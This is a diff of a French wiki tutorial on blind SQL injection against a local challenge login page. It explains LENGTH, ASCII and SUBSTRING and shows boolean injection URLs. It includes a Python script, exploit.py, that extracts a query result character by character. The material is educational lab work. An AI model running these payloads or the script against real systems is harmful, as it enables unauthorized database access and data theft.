Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.
failles_web:blind_sql_injection [2012/06/27 15:09] TheLizardKing |
failles_web:blind_sql_injection [2017/04/09 15:33] (Version actuelle) |
||
---|---|---|---|
Ligne 92: | Ligne 92: | ||
Comme nous le voulions, les deux états sont disponible : **VRAI** et **FAUX**. Il ne reste plus qu'à faire ça avec des chaines de caractères intéressantes :-) | Comme nous le voulions, les deux états sont disponible : **VRAI** et **FAUX**. Il ne reste plus qu'à faire ça avec des chaines de caractères intéressantes :-) | ||
- | ===== Titre ===== | + | ===== ASCII, SUBSTRING et LENGTH ===== |
+ | |||
+ | ==== LENGTH ==== | ||
+ | |||
+ | Il semble que tout est dans le nom de la fonction. Si cela ne vous parait pas assez explicite, la fonction renvois le nombre de caractère que contient la chaine qui lui ai passé en argument. | ||
+ | |||
+ | <code SQL> | ||
+ | SELECT LENGTH('zenk-security') | ||
+ | </code> | ||
+ | |||
+ | ^ LENGTH('zenk-security') ^ | ||
+ | | 13 | | ||
+ | |||
+ | Cette fonction est indispensable pour réaliser l'exploitation. | ||
+ | |||
+ | ==== ASCII ==== | ||
+ | |||
+ | La fonction //ASCII// nous retourne le code ASCII du premier caractère de la chaine de caractères qui lui est donné en argument. | ||
+ | |||
+ | <code SQL> | ||
+ | SELECT ASCII('Zenk') | ||
+ | </code> | ||
+ | |||
+ | |||
+ | ^ ASCII('Zenk') ^ | ||
+ | | 90 | | ||
+ | |||
+ | ==== SUBSTRING ou SUBSTR ==== | ||
+ | |||
+ | La fonction //SUBSTRING// prend 3 arguments - SUBSTRING(str,pos,len) : | ||
+ | |||
+ | - str : chaine de caractère | ||
+ | - pos : position de départ | ||
+ | - len : nombre de caractère à garder | ||
+ | |||
+ | Ainsi, la fonction SUBSTRING permet de //sélectionner// un ou plusieurs caractères parmi une chaine de caractères. | ||
+ | |||
+ | ==== Principe de base ==== | ||
+ | |||
+ | À l'aide de ces 3 fonctions il est facile de retrouver caractère après caractère ce que renvois une requête. Pour cela, il nous faudra d'abord connaître la longueur totale de la chaine de caractères. Rien de plus simple avec la fonction //LENGTH// | ||
+ | |||
+ | <code> | ||
+ | http://localhost/connexion.php?user=salut&pass=suce' OR length(user())=0 -- - | ||
+ | </code> | ||
+ | //**Note** : le ''-- -'' à la fin sert à mettre le reste de la requête en commentaire. Ainsi, on évite de se prendre une erreur à cause de ce qu'il peut rester de la requête originale.// | ||
+ | |||
+ | Notre requête test donc si la taille de //user()// est 0, comme le formulaire s'affiche, ce n'est pas la bonne taille. Il faut donc répéter l'occasion jusqu'à obtenir ''Welcome!'' | ||
+ | |||
+ | <code> | ||
+ | http://localhost/connexion.php?user=salut&pass=suce' OR length(user())=14 -- - | ||
+ | </code> | ||
+ | |||
+ | Ainsi, //user()// renvois une chaine de caractères de 14 caractères. **(il est possible que vous ne trouviez pas la même chose ;-))** | ||
+ | |||
+ | |||
+ | Maintenant que nous connaissons la taille de ce que nous cherchons, utilisons //ASCII// et //SUBSTRING// pour retrouver notre chaine. | ||
+ | |||
+ | Nous allons procéder caractère par caractère en regardant la valeur ascii de chacun. | ||
+ | |||
+ | <code> | ||
+ | http://localhost:8888/chall.php?user=salut&pass=suce' OR ASCII(SUBSTRING(user(),1,1))=10 -- - | ||
+ | </code> | ||
+ | |||
+ | Le premier char de //user()// n'a pas pour code ASCII 10. On test toutes les possibilités (ou pas...) et on fini par tomber sur : | ||
+ | |||
+ | <code> | ||
+ | http://localhost:8888/chall.php?user=salut&pass=suce' OR ASCII(SUBSTRING(user(),1,1))=114 -- - | ||
+ | </code> | ||
+ | |||
+ | Le premier char de //user()// est en fait un ''r'' ! (114 correspond à un ''r'' en ASCII) | ||
+ | |||
+ | Bon, comme c'est super long, on va coder un petit script en python qui nous permet de faire ça sans trop se fatiguer :-) | ||
+ | |||
+ | |||
+ | ==== Script pour automatiser ==== | ||
+ | |||
+ | A priori ce script est pas trop compliqué et largement commenté. Cependant si vous avez des questions, n'hésitez pas ;-) Il faut évidemment l'adapter à votre environnement : host, nom du fichier, ... | ||
+ | |||
+ | <file PYTHON exploit.py> | ||
+ | #!/usr/bin/env python | ||
+ | # -*- coding: utf-8 -*- | ||
+ | |||
+ | import httplib | ||
+ | from urllib import quote as urlencode | ||
+ | |||
+ | def main(): | ||
+ | |||
+ | # Requête dont on souhaite découvrir ce qu'elle renvoit | ||
+ | payload = "SELECT user()" | ||
+ | |||
+ | # On commence par chercher la taille de ce que l'on cherche | ||
+ | length = 0 | ||
+ | while True: | ||
+ | |||
+ | conn = httplib.HTTPConnection('localhost:8888') | ||
+ | conn.request("GET","/chall.php?user=user&pass="+ urlencode("pass' OR LENGTH(({0}))={1} -- -".format(payload,length))) | ||
+ | rep = conn.getresponse().read() | ||
+ | |||
+ | if rep.count("Welcome") > 0: # notre requête renvois True - on a donc la taille de la chaine | ||
+ | print "Taille =",length | ||
+ | break | ||
+ | else: | ||
+ | print "Taille !=", length | ||
+ | length += 1 | ||
+ | |||
+ | # On cherche maintenant chaque caractère | ||
+ | reponse = "" | ||
+ | for offset in range(1,length+1): # on parcours chaque char | ||
+ | for char in range(32,127): # pour chaque char, on regarde chaque valeur ascii possible | ||
+ | conn = httplib.HTTPConnection('localhost:8888') | ||
+ | conn.request("GET","/chall.php?user=user&pass="+urlencode("pass' OR ASCII(SUBSTRING(({0}),{1},1))={2} -- -".format(payload,offset,char))) | ||
+ | rep = conn.getresponse().read() | ||
+ | |||
+ | if rep.count("Welcome") > 0: # notre requête renvois True - on a donc le bon char | ||
+ | reponse += chr(char) | ||
+ | print reponse | ||
+ | break | ||
+ | else: | ||
+ | print reponse, chr(char) | ||
+ | |||
+ | |||
+ | if __name__ == '__main__': | ||
+ | main() | ||
+ | </file> | ||
+ | |||
+ | |||
+ | ===== BINARY LIKE et LENGTH ===== | ||
+ | |||
+ | ===== Bit Shifting ===== | ||